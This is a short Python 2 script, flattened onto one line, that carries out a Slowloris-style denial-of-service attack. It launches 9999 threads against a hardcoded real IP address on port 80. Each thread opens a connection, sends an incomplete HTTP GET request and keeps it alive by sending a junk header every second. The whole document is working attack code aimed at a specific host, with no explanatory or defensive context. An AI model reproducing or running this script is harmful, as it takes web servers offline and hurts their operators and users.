import time from socket import socket, AF_INET, AF_INET6, SOCK_STREAM from threading import Thread delay = 1 threads = 9999 class Bloedsinn(Thread): def __init__(self, host, port): super(Bloedsinn, self).__init__() self.host = host self.port = port def run(self): s = socket(AF_INET, SOCK_STREAM) s.connect((self.host, self.port)) s.send("""GET / HTTP/1.1\r\nHost: host\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\nContent-Length: 42\r\n""") while True: s.send("X-a: b\r\n") time.sleep(delay) for i in xrange(threads): thread = Bloedsinn("217.160.20.143", 80) thread.start() print "started {number} threads".format(number=i)